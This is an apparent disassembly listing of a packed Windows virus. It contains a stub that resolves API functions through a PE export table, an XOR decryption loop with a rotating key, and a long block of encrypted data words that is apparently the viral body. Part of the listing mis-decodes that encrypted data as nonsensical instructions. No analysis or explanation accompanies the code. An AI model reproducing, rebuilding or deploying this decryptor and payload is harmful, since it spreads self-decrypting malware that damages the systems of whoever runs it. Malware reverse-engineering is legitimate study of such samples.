--------------------------------------------------------------------------- loc_3143A0CF: ; CODE XREF: UPX2:3143A0C8j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+10113Fh] mov dx, [eax-17h] call sub_3143A12A jmp short loc_3143A13F ; --------------------------------------------------------------------------- loc_3143A0F7: ; CODE XREF: UPX2:3143A07Cj ; UPX2:3143A083j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_3143A123 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_3143A123: ; CODE XREF: UPX2:3143A102j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_3143A125 proc near ; CODE XREF: UPX2:3143A06Ep ; UPX2:3143A075p rdtsc retn sub_3143A125 endp ; --------------------------------------------------------------------------- add al, 35h ; =============== S U B R O U T I N E ======================================= sub_3143A12A proc near ; CODE XREF: UPX2:3143A0F0p push ebx mov ecx, 2845h mov ebx, edx loc_3143A132: ; CODE XREF: sub_3143A12A+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_3143A132 pop ebx retn sub_3143A12A endp ; --------------------------------------------------------------------------- loc_3143A13F: ; CODE XREF: UPX2:3143A0F5j in al, dx cmp [eax], eax add ah, bh mov [ecx+edi*8+4DB80487h], dl adc byte ptr [ebx-211B587Ch], 1Fh mov ss, word ptr [ebp-5Ah] ; --------------------------------------------------------------------------- db 0FEh, 0D0h, 0C4h dd 0CC8938B9h, 0B659C84Fh, 0D9C4A180h, 0DA23CE3Eh, 0FFDCF165h dd 21FB7E58h, 9C189E17h, 949E953Bh, 0F851D769h, 0F0B9E9B3h dd 1312F2D0h, 8BA57859h, 4209F917h, 8C227869h, 5CB8632Eh dd 0D0419806h, 0B31BAF42h, 6AEFB7FFh, 0B910507Bh, 0B523371Bh dd 0AC3C3072h, 34C71FBAh, 81D219Dh, 5632ADCCh, 816A10D9h dd 43A1D68h, 0E950857Ah, 0F3BDF89Bh, 0F97C55A2h, 6782E8A7h dd 0CC0D60E8h, 712DD8E3h, 0CC54C5FDh, 4C7F4B0Fh, 0BC70D0B0h dd 68837E6Ch, 0AD9CA0C3h, 9A001DEEh, 2945A0EDh, 944E8D6Fh dd 3179591Ah, 849AB681h, 0F1C8A0E4h, 2BB678E8h, 5232E57Eh dd 8C236807h, 88FC6FB2h, 0DF0E5843h, 0CCE449Eh, 44528B6Ch dd 0B5D84015h, 24580E1Eh, 5E105831h, 24F828C7h, 229EB5A2h dd 0D43B18E3h, 0EBA9486h, 897D081Fh, 0EC900000h, 4DF9734Bh dd 0ECACFC5Ah, 0F44205F6h, 4955E01Dh, 0D47ECAFFh, 2EFB75CAh dd 4FBA244Ch, 8F38AA99h, 214BE13Bh, 0AC4CABD4h, 587903D4h dd 6298F734h, 0FC498414h, 8CB590EAh, 0BA7C1D80h, 0B8638005h dd 7BB6FD8Bh, 6C0EEFC5h, 64C8FFD7h, 5C506107h, 3C4E5807h dd 4C655099h, 7ACCDDD0h, 0FC1540D5h, 36A4BC54h, 2CD630F1h dd 245240D7h, 1C822019h, 4372F072h, 64441123h, 4AB08DEh dd 0C276958Ah, 0FEBEF81Bh, 136CF1A1h, 0F43CDEA2h, 0DC9D08CDh dd 85C7D863h, 0A6C4D0FBh, 0CEB9918Fh, 290FCA4Fh, 0B4968611h dd 2FDF41BAh, 0B48CFE5Ah, 1847A07Dh, 94DE9A27h, 8C749641h dd 0C05EC63Fh, 83A0CC99h, 64080AFEh, 0BA79FD01h, 57627880h dd 0E245EDE4h, 0E58E48FDh, 39CCC357h, 0C7BA48EDh, 2C6EB238h dd 0B0E9381Bh, 2C7C32B1h, 1AD0ADCCh, 6C5720CDh, 0CFBB9772h dd 87D40031h, 1454D21Ah, 0FD70FF35h, 0CDBE7D44h, 69A7F071h dd 0E4D2D631h, 53599072h, 0C4D7F7A6h, 6095BB9h, 271AD871h dd 0BDC13FFFh, 8D7A3DF4h, 2157B001h, 0A4629675h, 0EDF7A9DEh dd 0DD1B17D2h, 64348050h, 84CA8947h, 43283D18h, 0BB7D783Bh dd 0B57A70ABh, 0E72618A8h, 1CD2630Ch, 3E19A180h, 0C1FC3A19h dd 546FAB1Ah, 3C09F945h, 302B38DBh, 0D3C3CE3Ch, 0A9794EF8h dd 1C686D99h, 0BF981833h, 0A7905744h, 91A7EC6Dh, 0FCD03D01h dd 0F6DF9E27h, 2E6F5B47h, 6F770AB5h, 0B4188A99h, 0D4AEAA0Fh dd 0CC2E1CF2h, 0C4B00C84h, 0BC70C0CDh, 0E546D233h, 0FC92DA83h dd 9AFC3D98h, 1F90A0EDh, 7836D857h, 7F4905Bh, 0F8AE26Bh dd 1660EA99h, 26B412EBh, 802470EBh, 0EE26865h, 0A31231ADh dd 829BA713h, 13A440E7h, 4BC5CD36h, 3CD14781h, 34D3B59Bh dd 95FC2021h, 2492247Ch, 0B9DBCFD6h, 4BEF572h, 89D91099h dd 4FA1C5Dh, 0A8D0E04Ah, 0B7CD821h, 0D272651Eh, 24C7E867h dd 34EC9552h, 0D46ED9ECh, 0CC04C1D1h, 80FF9BCFh, 0DB45A200h dd 0C2AFCAABh, 0CB39DCF8h, 4CA5A842h, 9C88A5EDh, 0D6522DACh dd 194B90F9h, 845AB61Dh, 5A757F42h, 1E766895h, 930E1A41h dd 749C3E42h, 5D10D96Dh, 7F595803h, 6868D978h, 0D1051F7Bh dd 3C807E5Fh, 91A5CE68h, 2CAC0FC7h, 0DB057C87h, 0CD6BE88h dd 60BE9DB3h, 0F297562Fh, 0FB447ADBh, 96482401h, 0BFC920Bh dd 0FC526634h, 90C26D37h, 54707311h, 0E72ED866h, 0F6274130h dd 0FB6C4DB6h, 8E85C035h, 90A2C43Ah, 0DF6EC332h, 65338093h dd 9C48AEDAh, 0C28ECC43h, 0DF24C0F8h, 0BA441DC0h, 0BC2580C5h dd 8B390C32h, 0E3C45475h, 745D5E12h, 0A13D882Dh, 0ABDDA73Ch dd 5C1A76CCh, 0C534A3EFh, 3C516841h, 0A1196F1Bh, 2C6C0E97h dd 1A34BDB8h, 0DC4120CDh, 14C1E788h, 66D47A53h, 6E6A629Fh dd 0FC016835h, 301DF8CFh, 867CF00Bh, 1B0663FBh, 8320B66Fh dd 0E7EED817h, 335E3870h, 519737B0h, 0BCA0D5B4h, 0E417E929h dd 92F625EEh, 60F1A8B7h, 6383631Dh, 94C6C08Bh, 8C34A285h dd 84CA8694h, 7C608094h, 74F6782Bh, 6C8C70C1h, 642241D3h dd 5CB860EDh, 0AB1D0ED2h, 5CDA628Ch, 0E823E3AFh, 0C76580C1h dd 0B965D639h, 3C254DE4h, 0B12D7A07h, 1C781E17h, 56B29DBAh dd 1A7C10D9h, 482A085Fh, 89AB6F9Ah, 9D24A8FBh, 89809957h dd 85D48DD0h, 9D7D9521h, 415188E3h, 0CC54EE4Bh, 868A4D86h dd 0E0B3C0B5h, 0D175D979h, 0C9F1D19Fh, 0CE50E703h, 0EFBCC398h dd 0C72ACECFh, 8C80F34Ch, 0F6FEFBD3h, 7C4EE539h, 15D30AA8h dd 50A15F5h, 64A30D7Bh, 3D1D12EEh, 3D483D37h, 2DE935B5h dd 2A53381Fh, 7FD00162h, 40075DE9h, 438E6054h, 57E14DA4h dd 6E6B201Ch, 71CA7996h, 633975DBh, 6CBE6D6Bh, 98E165C7h dd 9164BB4Bh, 0B8C98480h, 85279A1Fh, 0AE9BE069h, 0B11AB9C6h dd 0A06BBF6Dh, 0B4F6ADA7h, 0D263F256h, 0DCB5C89Ah, 0E95CC4FEh dd 0F086C15Fh, 0FDEDD2D5h, 0FD589837h, 0E5E0F585h, 0EB1EED12h dd 893F946h, 1D2215CEh, 2A0C152Ch, 28C70DA5h, 3D4A0204h dd 13CE2171h, 252224FCh, 30BB2D43h, 5EF932B1h, 47434C2Eh dd 49FB30B0h, 483B6EF3h, 66817378h, 713918D6h, 607D563Dh dd 69C35CBAh, 99070010h, 90B9B57Fh, 0A4099CD4h, 88668656h dd 9B98A1A8h, 0B17AAC06h, 0A582A094h, 0A514ADE3h, 0BCB1A548h dd 0E0F2DDFCh, 0FC6CDD34h, 0E5DADC86h, 0E82DE77Dh, 0E7ACFD45h dd 8C1AFFC0h, 0D27EED78h, 15D3F2B0h, 0C731604h, 98B7040h dd 80D3EE3h, 159D0D58h, 26E13EADh, 25503134h, 44FB2680h dd 58312FC9h, 46845157h, 6D0542D0h, 54736547h, 6BCD498Bh dd 7D787E3Ch, 43D47565h, 42046DEFh, 0B1656C5Ch, 9DE688AAh dd 0EC6D970Fh, 8AA798B8h, 0BF3792DDh, 0D49DAB46h, 0AFEBA2E9h dd 0F769BB2Ah, 0CED986D7h, 0E446CC08h, 0C9BFDF63h, 9641DBD4h dd 0E870C573h, 0E0FBCBD3h, 0E958F92Fh, 0F6BEFCBEh, 815E2FCh dd 74B70B4Eh, 2AF81592h, 3047043Eh, 5CDD0D84h, 312B34D0h dd 35B75069h, 291F3CDCh, 597D2911h, 5DE0578Fh, 4568551Dh dd 71D24D6Ah, 6C094DF3h, 639B7165h, 65D27686h, 522A6D33h dd 89B4729Ch, 981794EAh, 0EC8F9F4Dh, 90EB9AE0h, 0B071A628h dd 0A0E0D886h, 0B92EB438h, 0B68ABC7Ch, 0D019B6CCh, 0C763DF5Eh dd 0C9F7DF85h, 0D07CA809h, 0FDADD2BEh, 0FD18FDE7h, 0C2F4F545h dd 0E1F8CBCBh, 2C45F434h, 11D51799h, 224C03F2h, 1902B63h dd 0C1D14CCh, 316D3731h, 34E123AAh, 74E066Fh, 48B12577h dd 57036BFEh, 42935945h, 67E666C7h, 6849452Fh, 71CD4D96h dd 632640FBh, 77996D7Ch, 0B1F44EB5h, 9D40882Ah, 8AE38784h dd 90218D24h, 0DCB68F64h, 0A421ACEDh, 0A542BE5Ch, 8A9AADA3h dd 0D9408F11h, 0DBB4E895h, 0DF2FD5F2h, 0C199C773h, 0E8C6A0D3h dd 0FA7BE81Ch, 0F8D7F5BAh, 8424E716h, 0EB0F45Bh, 17130CC4h dd 1E652635h, 8C31DA3h, 33550520h, 1ACE2171h, 291101EDh dd 2AB3315Dh, 51E22FA3h, 5B4F4C3Ah, 47D3649Fh, 6A5246E2h dd 759A7769h, 7D287DC7h, 6D61643Bh, 69CF45B3h, 0FC39721Ah dd 0A1BA8C59h, 830F99CFh, 90518D53h, 0BBF689BFh, 0BA6FB737h dd 0B897B98Ah, 0A334A1FDh, 0FDA39725h, 0C6E7CCE8h, 0AC6CC525h dd 0D7DDC484h, 0FF27D318h, 94AAFD78h, 0E21AFFCAh, 847EEB5Ah dd 14D4E5B2h, 16420B04h, 1AD1E78h, 11068F2h, 2FF8164Eh dd 54EA36A6h, 27473F2Ah, 0DBA3C8Ah, 4E3534EBh, 77925D75h dd 490F5FDDh, 407C490Fh, 55A845B1h, 665B6C1Dh, 4BA07567h dd 6B297CFAh, 9F656E5Bh, 0A7F29DBFh, 89589115h, 90ACA1F7h dd 0B93692E8h, 0B19E9757h dd 858491D7h, 0B67FBC21h, 0F3C4A58Bh, 0E128DD0Bh, 0AC9DDC63h dd 0C106C6EEh, 0E86DCE4Fh, 0F0FFFD81h, 0E958F92Fh, 0D28EC9FFh dd 4F29D0D4h, 38B25619h, 9DE708Dh, 0B4E2B30h, 39F3059Eh dd 311C58FAh, 29941F7Eh, 3D1F03C1h, 3C513800h, 65C15D89h dd 554E5504h, 51BE4951h, 5D1065F8h, 739B4A33h, 5AE0759Ah dd 615F643Eh, 0FC8178B0h, 9EA0CBDDh, 67BAA623h, 0B6838263h dd 8A0092B2h, 96FE4D1Ch, 8CFD069h, 948C9E59h, 0A4003FF3h dd 8AB82DC4h, 681FB0C1h, 0ACF0F677h, 67812DFDh, 0FC0F50B8h dd 64F49029h, 87AEC432h, 794A803Fh, 1EE528BAh, 3C80FB84h dd 30B2BC9Ch, 0E2920C7h, 0B29BA710h, 0CFA440E7h, 0D1C544ABh dd 3CC07EEBh, 0F76EFC18h, 1108A5BCh, 0EDA128D7h, 747A2037h dd 148C18C3h, 5D05D402h, 55BA4875h, 3C0318DFh, 0FA7CAC43h dd 0E390FB1h, 6742F849h, 0EEBC0C9h, 4D611826h, 94DE27FBh dd 93590AECh, 7DD83F56h, 0BB394704h, 0AC5C1515h, 489AF827h dd 1788A0CFh, 1F1EF287h, 0E4F4FA25h, 845A887Fh, 16B2827Fh dd 69A10ABh, 6C667041h, 9BF23B86h, 4C06B6F8h, 0AB970703h dd 5C5A760Ch, 3005CD2Fh, 0B41DCBB4h, 0D726284Eh, 2C29BDFDh dd 27523897h, 0E3BB77CCh, 0D6FB9361h, 81140077h, 482D250h dd 36BE875h, 715D07F4h, 0EC7CCE7Bh, 0CD2567BAh, 0C670E0CDh dd 5FD1279Ch, 0DCFA167Ch, 0EAD5458Fh, 54F0C00Ch, 4B7947B2h dd 92D635DAh, 6437A8F7h, 13C58009h, 94DEB128h, 738A6441h dd 568F03C0h, 0F9A090EBh, 0F93D0CABh, 6CE5388Eh, 9ABD8097h dd 9B739FD2h, 0BCDB9B9Ch, 4C245059h, 5857C9B2h, 0F50509Eh dd 9363B5D2h, 7D7C20AFh, 74437913h, 8957718Ch, 142E2621h dd 0F3F0148Eh, 14542E0Ah, 0F8C25D35h, 0F47EADCBh, 0B12CF061h dd 0FF890576h, 2332E09Dh, 0CFF84DAEh, 9ED4D0A9h, 0C43EE882h dd 7833C0CFh, 3181DE77h, 0ACCCAB4Dh, 21B5886Ah, 9C18BB63h dd 94B498F7h, 965E5334h, 84C360A7h, 3EED8095h, 0BD08D24Ah dd 54F80B4h, 741D28C2h, 543C65EDh, 0C1C71A8Bh, 4CF46F59h dd 11B9AA58h, 3C1040ADh, 0D92765DBh, 2C2C2BD4h, 1B96B58Ch dd 60EB208Dh, 1BFE1017h, 0C94A94Dh, 0CC6895Fh, 0A8C000F7h dd 0F457FCE3h, 96790F21h, 6F82F889h, 0F89C6DB1h, 0D4AED9E7h dd 2444BA29h, 0C4DAC80Bh, 0BC2292F3h, 0C293476Ch, 9F9CA0EFh dd 0A0A525AEh, 0CDC8A0FCh, 0C55CF2C2h, 8C9C9143h, 0D6CA88BFh dd 426215AAh, 0F12078FBh, 3C170477h, 65E60043h, 0A32F60ADh dd 562E7CF7h, 0D95B50D9h, 442A774Dh, 4810C55Ch, 6472DB8Dh dd 2C96E4BAh, 72C57995h, 2292B5A2h, 91E718E3h, 5A846549h dd 3ACC9DE0h, 0AB0D00A5h, 9E41AA0Fh, 7B21A8A5h, 0E442E973h dd 0B618D3A6h, 7F9D81B3h, 9C548069h, 96CA989Fh, 827A559Ah dd 7047B8EBh, 0AC5CB299h, 0ACD6DCD8h, 0A39A3542h, 6B4D9843h dd 9C8B827Ch, 8088D57Fh, 76DE0015h, 0FF3079DEh, 7C19F4CCh dd 0E9BB8BD7h, 4C2860F8h, 21F5B03h, 8CE08266h, 45E5C020h dd 0B89F40C5h, 3426394Bh, 59860E71h, 1AD26E97h, 1D6C2F1Dh dd 947E18B2h, 0FD613077h, 54948999h, 89074E3Ch, 32197349h dd 0C723F1E7h, 0E468B9F9h, 23CBB69Ch, 0C411D2F6h, 0DFF89F9h dd 0C4854D80h, 397DC025h, 0B496A620h, 0A074B03Bh, 0F4B2A8E7h dd 96DD5F2Eh, 0A9DE882Ch, 8C7490A5h, 84B50D30h, 0CD4980D5h dd 0F536786Bh, 259E203Fh, 0C1E767C1h, 0DFF8602Dh, 68225005h dd 0D5A05F54h, 78BA48EFh, 90A335A5h, 0B1E90227h, 2C7C303Dh dd 43225EAh, 3D9500FDh, 614A7D14h, 2CE8BC76h, 7AEB74EAh dd 886820CAh, 75E78DBFh, 0D65CF31Fh, 8CB7C7D8h, 0DCA7A74Bh dd 0C454E92Ch, 3B84D09Eh, 51E59AADh, 0BCA0FE4Fh, 0E4167848h dd 0A534E041h, 0E072A8A7h, 0F066D752h, 94FAF9BCh, 0B32E0596h dd 444F88EFh, 0B553B6E1h, 4BB2FDA2h, 4DD70D1h, 0E4226A57h dd 0CEE31BCh, 6B50CD7Ch, 0D9695009h, 446A5330h, 68D97315h dd 65F4688Ah, 7EA9CF20h, 0A3D23839h, 89970499h, 14EE2615h dd 8114D331h, 43A1D28h, 9603F9F4h, 0B57928Ah, 0E89F0F12h dd 2407FD48h, 72BBA39h, 0DF1D0868h, 4178807Ah, 0D4C70BBAh dd 0B0CA4BA5h, 3F06B83Ah, 0AC9DB85Bh, 8FCAAB67h, 5743C036h dd 0E03F3E60h, 7916D72Ch, 4309A654h, 0B0ABD35Ah, 2462F3BCh dd 3D0C1AD5h, 9B1D0245h, 4C468638h, 0E83D343h, 0CFA440E7h dd 8B1144ABh, 0FBD7A986h, 0DC66529Ch, 2FB3B931h, 62DD7B04h dd 4E697709h, 7DF344B6h, 7F3B62EAh, 589E6E70h, 98EE69E2h dd 0A8658F24h, 9EDE85A2h, 0B2368612h, 0B5AB9268h, 9132B6CCh dd 0A368A041h, 0C4E8ADBDh, 0DB42A131h, 0DB8ECC9Eh, 0AE5CC4E2h dd 0DBA2A827h, 0EC89A0BDh, 0FD66F721h, 0FEDDBE84h, 0E82BEF1Ch dd 5299F874h, 3A7614DBh, 4C473308h, 5D507BCh, 2B4A0F0Ch dd 119D0D09h, 60770CBh, 64B40160h, 4EF936E3h, 612C4D2Fh dd 2CBC3019h, 0C9D37587h, 1CF83EB0h, 1099D75h, 0F3141059h dd 1494764Ah, 0E3A8C175h, 0EABCC47Fh, 0D25A452Ah, 485BE827h dd 0F6EDCEF1h, 2B105905h, 41E7A5E4h, 0D465F232h, 0BE864B25h dd 11E01DECh, 94AC35DCh, 213DA8F7h, 9C5898ABh, 6E9811E9h dd 778ADE25h, 4BE8898Eh, 5D48D03Eh, 0F7C98790h, 68C4547Dh dd 6C8A2CE2h, 0FF8602Dh, 10A01B85h, 0B3241C15h, 5484C27Ah dd 48904B85h, 368CAB16h, 1EE9CFE2h, 0DB123879h, 8B40B30Dh dd 0FCC1E78Dh, 0CD41002h, 5B294ECCh, 0B82E537Ah, 0B96B487h dd 0FC127AF4h, 1ABE00F7h, 0DCB01F72h, 2B1127D5h, 0DC960C34h dd 49D3FB4Fh, 0ACF22860h, 0E517E97Bh, 0FD8DE040h, 22E757F6h dd 7408B003h, 949E98D8h, 0DE71C33Ch, 0C0E4BACCh, 8360CCD9h dd 64C8F2BEh, 6C8698C1h, 17556857h, 32D1129Dh, 540F3EF7h dd 7E71AF49h, 0CD7A5891h, 2C2E7AC0h, 0B99737DBh, 3C254DFCh dd 6457A107h, 4D6830A2h, 2A748DCCh, 640710D9h, 42A085Bh dd 0E54AB578h, 790FF89Bh, 0FCD3D69Ch, 114000B7h, 1B7E1FB2h dd 0C4B0B566h, 4F14D079h, 0D4C4A7AAh, 29FDC0A5h, 0B416A616h dd 0ADF6E481h, 0CC60A80Dh, 1CC8A0FFh, 0AB740D6Ch, 4C719039h dd 9A8FDE5h, 6C3EE0D8h, 72DC2AEBh, 7221C50Ch, 32B66807h dd 0E2930FDh, 6B20CDBCh, 0B3FC50C9h, 54056EFAh, 7B558605h dd 346628DAh, 2CFC3CD9h, 6BC17FC7h, 2E1B6B1Eh, 58F25CDDh dd 86C1EF89h, 97EA1821h, 0FC8007DDh, 15A3754Bh, 0B5ACE0F9h dd 0DAB455FAh, 0E130E01Dh, 3C912756h, 0CC04D035h, 8DD48198h dd 9264852Bh, 0B48AF4BFh, 92D6256Eh, 6477A837h, 9EBD24B2h dd 0FC8D9853h, 8CB490ECh, 9D553DF2h, 0F1B98005h, 64496A16h dd 990A9841h, 0D9219728h, 5C285F7Bh, 444A5703h, 0CD64509Bh dd 44FBD8C3h, 3DF814C5h, 0CB26385Ah, 3C82C664h, 0B496A987h dd 4CE8201Ch, 1414CC38h, 1A81EF1Bh, 81AA18E0h, 0F13559B5h dd 0F4C57063h, 46F90FA1h, 0F02F809h, 0B325632Fh, 0D42EC87Dh dd 4949F98Ch, 0C44AD6FCh, 0BE653F75h, 3186A884h, 2598BF91h dd 2FB2A8E6h, 9CC3AC3Dh, 1151A8ECh, 8C648EC6h, 0C54D0DF9h dd 16A180C5h, 1E37126Bh, 62598F03h, 0E76278A8h, 0D8F79FD5h dd 548E59A3h, 27B1DDCAh, 2EBA58F1h, 0C3031295h, 24D8C68Eh dd 23BCB5B1h, 241368C2h, 9015ADDDh, 0A53E086Dh, 0F6E8F801h dd 9002F760h, 0A2000035h, 0C01F1EE0h, 79D3A445h, 0E4D2D675h dd 0C2C25D00h, 0D55FD833h dd 337ECD51h, 438F45B0h, 0D6B0D0FBh, 0B452D07Bh, 0FF8EB011h dd 9B783D58h, 0D885A02Dh, 1138CF7h, 8C24D281h, 8E7C87AFh dd 6844C41Eh, 76FE98EAh, 269E718Bh, 67687A55h, 549C24E6h dd 9541B903h, 47B558F9h, 0BB6A6CEBh, 819D1077h, 34B60793h dd 2C3C2C99h, 12FC0D07h, 3C4600E5h, 31C4381Dh, 34BA35ECh dd 24522D27h, 0B6CA73D0h, 0D418B1C4h, 7913A721h, 0E492D68Dh dd 0DCB424CCh, 0D4C4D8E3h, 33178729h, 0D4E5C29Ah, 2CFD4BA5h dd 0DE06A82Eh, 0C78753D1h, 4C63A5AEh, 9CC8A0F8h, 9E3ABDB5h dd 190BC729h, 849AB685h, 2C2C44D6h, 73DE7300h, 0E14C7081h dd 74FCC8AAh, 0A32B37ADh, 443152D6h, 3264D5D9h, 0C8FC53Bh dd 0BFD0503Ah, 2473A83Eh, 0A1713031h, 24826980h, 1C42EE76h dd 0EBED4EA2h, 1C6B161Ch, 4128B1Fh, 77112FCBh, 0BCA375B5h dd 5CACE0DEh, 91EC1A7Ah, 0F630801Dh, 0B5912759h, 0C5E7C74Bh dd 2F9BBF42h, 97FF4B8Fh, 0FC7B3535h, 5F5CA0AEh, 4F052F83h dd 977F304h, 940EA6A9h, 99C32D69h, 0F04B886Fh, 9D0E83Fh dd 0E18978ABh, 6C1C4EEBh, 25E5D557h, 2838607Dh, 3B4B9F12h dd 4C644087h, 82FA482Fh, 2CD10740h, 3CCF385Bh, 0EB43CF0Fh dd 3447A802h, 1CE8201Dh, 10BC4533h, 431E1D49h, 6BC566FFh dd 9A2F201Bh, 92BF942Bh, 0A34CD1C4h, 896B9C17h, 0B3ECC0A8h dd 0B84BBB43h, 0ADB6B29Ch, 0C97BADFBh, 9CD0E02Fh, 94C9989Bh dd 0C171C522h, 0C392DA82h, 0F92CD21Ch, 9ED3B97Dh, 0E918F5FBh dd 0E166FC51h, 5CCF3A6h, 457104Bh, 0DEC0971h, 1420CF9h dd 3F9D1055h, 20E039B7h, 38577075h, 2DDE268Eh, 1C6A27EBh dd 63EC3536h, 441F44D0h, 475462Eh, 3CC44CBCh, 34477917h dd 2CB07E68h, 6C0D61F1h, 9A202C41h, 92B68AA4h, 82499913h dd 0ADE29B93h, 0B53997ADh, 0DEE3E257h, 0BEE1B8EEh, 0B67BE82Ah dd 0D3C9E080h, 0D266940Eh, 0C2B9D963h, 844DDBC3h, 0F965CF7Eh dd 0E0D7B8F2h, 0AC47F949h, 0E1A7E18Bh, 829A0B4h, 18D60B0Ch dd 4DE904A0h, 2880C9FFh, 661339BAh, 44E84CAAh, 40742762h dd 2A596D39h, 0C1E43415h, 0BB36BF53h, 0E4A3FC71h, 0CF9594Ch dd 0EC9A3197h, 14FE1833h, 0C9410C9h, 42A085Fh, 0FCC000F5h dd 0F456F88Bh, 0ECECF021h, 0E482E8B7h, 0DC18E04Dh, 0D4AED8E3h dd 0CC44D079h, 0C4DAC80Fh, 0BC70C0A5h, 0B406B83Bh, 0AC9CB0D1h dd 0A432A867h, 9CC8A0FDh, 945E9893h, 8CF49029h, 848A88BFh dd 7C208055h, 74B678EBh, 6C4C7081h, 0DC47EB77h, 5C7870EFh dd 16B2FDC0h, 43A450C9h, 0C92E0BD8h, 8BDF5856h, 0E4653ED0h dd 8D874BAh, 569E6AECh, 146A1B44h, 56350C80h, 163B9Dh dd 46529D96h, 790900A5h, 0F406BAF7h, 2E2FF50Ah, 859B0A5Fh dd 54D8E4CFh, 0C44A8726h, 0CC603839h, 0E4F2C8CFh, 3130C065h dd 0A4E5347Eh, 0B465E991h, 6471A453h, 637F42B9h, 845C0CD6h dd 554353E9h, 0A015057Ch, 6C038005h, 0FB8A0854h, 68E4F341h dd 0F92B9E35h, 5C2843E1h, 20CE6280h, 4F567B9Ch, 0A77585Dh dd 62CB1839h, 402602D8h, 0C78ECFF5h, 3420D784h, 0E31777F5h dd 3FB0334Ch, 1C56ACC4h, 4FA950DFh, 79CFC341h, 0F4C6BA93h dd 0AEF87566h, 0E402E827h, 0E070E0CDh, 5F2ED863h, 0DC86447Ch dd 32F3208Fh, 0A4183FDAh, 3786B8BBh, 0BC5E24ECh, 0ACC7A8E7h dd 0B8403DF4h, 8359803h, 0CEE01D56h, 0BC9882Fh, 6CE21850h dd 0E0A3F16Bh, 84CC6043h, 64626894h, 0D73BA91Eh, 548ED850h dd 0A1CC0259h, 4745B711h, 2C12FC10h, 0B7303B1Bh, 237C3CCBh dd 24132FC3h, 0CD2A3DDh, 0E9BA1773h, 87D41009h, 0EC3A04DDh dd 3FFFEFDh, 0B62A7DC8h, 2A2FF071h, 64CA62A7h, 0C52CE074h dd 0A0C021A3h, 3D6F90BAh, 451B80C4h, 636F1F04h, 0F0BF39A4h dd 0D9DCFC5Dh, 6C59F14Bh, 93F259BEh, 949E2F5Ch, 0F4B5F669h dd 8BF8BB01h, 7C602B10h, 4E752E2Bh, 0E78905C1h, 66C9781Dh dd 0ADBB6A66h, 0AA3CB0D2h, 0F9E7AFE6h, 446A0A13h, 44D0C5E8h dd 0B0223720h, 0D33C3071h, 349094B2h, 4980709Dh, 1701E7CDh dd 1CD6AC4Ch, 0B8AF875Fh, 0FFC010B7h, 7705DC8Fh, 37DFF2E1h dd 78A5EB8h, 0FCD1605Fh, 0F08A19B0h, 0E858F97Dh, 9FFEC426h dd 3D992BE5h, 0FD1B7C0h, 2DA2C40Ch, 0CA77009Ch, 1DFED426h dd 3565C168h, 0DDAE4D6h, 31A85E44h, 0FD06F4F9h, 2C5FEB10h dd 0ED520472h, 3C0B15ECh, 0DD6E145Eh, 71311EB8h, 0CDAA2438h dd 61057894h, 0C3D634E4h, 2424A00Eh, 5D156B31h, 7A6DD738h dd 0F53CE2DEh, 0EB41E61Ch, 83E134Ah, 0F1A3E047h, 6908FF4Ah dd 0F406DE72h, 0F49D4887h, 820A75h, 0BA3AE20Eh, 8C68B208h dd 33F1FED1h, 0CC584B30h, 0B95A11E2h, 41E750A3h, 56DC4F6Eh dd 14F9DB24h, 0A50DA2EDh, 3E1E8875h, 0E4DEB702h, 7ECA2227h dd 0CCF8F516h, 817790BAh, 6DB48FBEh, 0E0A268D7h, 8D3514BFh dd 0BF04A6E3h, 0F461BB6Fh, 0C4FA482Fh, 0FF2FA26Eh, 0DB6ADD6h dd 0FB9730E1h, 0D391F270h, 0CD1A498h, 147E18B3h, 0CC811F41h dd 0F2A1E81Eh, 0EC7982F0h, 0F2A3F90Bh, 0C9E5FDC7h, 61F4FBDCh dd 0DC88D94Fh, 0B228AD61h, 27E1E1F4h, 0C557AE8Bh, 545BA600h dd 4B794707h, 2528F3DAh, 0B4F00472h, 6B8B0B7Dh, 84E71C96h dd 8C7490A9h, 449F8737h, 940A3CD1h, 8BC987F7h, 2E7CE588h dd 0E1946887h, 5CE859AFh, 5B8A2DC2h, 6726BB68h, 0B379E32Fh dd 2C69C400h, 34E6381Bh, 0A65B44B9h, 342B56C2h, 1748E1DDh dd 51B51515h, 0F464BB6Fh, 7AEF8235h, 3D00100Ch, 9393E32Bh dd 472A7905h, 4FA428C4h, 0B8E0F266h, 7FEEDDACh, 0F5FA5533h dd 9C1EC85Fh, 17A82024h, 20C37EB8h, 0A5DCA036h, 58C28D4Ch dd 246E80D6h, 3FF89838h, 885E8982h, 70C360A7h, 78ED7F6Ah dd 7C16B9F9h, 0AC0575A7h, 67C9C331h, 3612F05Dh, 0A4A60098h dd 0CC1BAFEAh, 545DDC2Ah, 0C6904645h, 0B0894BD3h, 0D2FF44A3h dd 0DA115CCDh, 0E2AF5457h, 0EA276CF9h, 0F2986403h, 0FA257C95h dd 4CCF743Fh, 449D1372h, 375C5AA6h, 11322C5Ch, 24A820A6h dd 236D6408h, 0DC7D54FCh, 0C4FAC80Fh, 0C9F670A5h, 3902BC39h dd 9164E9Eh, 0A422911Bh, 60480B9Bh, 2459ED96h, 73BB1029h dd 0E66222FFh, 8BDF7FAAh, 648FFC6Eh, 6C0C7081h, 25A0E17h dd 0E87A159Ch, 0E4A53E6Ah, 32215AC1h, 843A5856h, 0D47A43E5h dd 0CB99C7A6h, 0A90BB881h, 24821143h, 1C28A05Dh, 920E1A86h dd 3528B503h, 0AF8C080Fh, 8985FC35h, 7416484Ch, 46EC0FAEh dd 74FF65B4h, 34D8F034h, 2B9127AEh, 0F58055CEh, 0C49AC8DFh dd 0BF44D065h, 436CD84Bh, 0BC653414h, 0A4F2A827h, 248FD4B5h dd 94F21306h, 943DF42h, 845AB1FBh, 7DE08016h, 7486FCA4h dd 84BC7041h, 0D92BC37Dh, 5C2822F1h, 0AB3094EBh, 0E68CE066h dd 0E447C184h, 0D4905087h, 0CBD9C6E6h, 1538B506h, 24512897h dd 69C201Dh, 2DFA9D44h, 0C141059h, 0EDE09DFh, 3BE2E9Dh dd 0A4D10F4h, 5DC0F5Eh, 6189439Dh, 0DC88A251h, 1C0517E8h dd 8E606D70h, 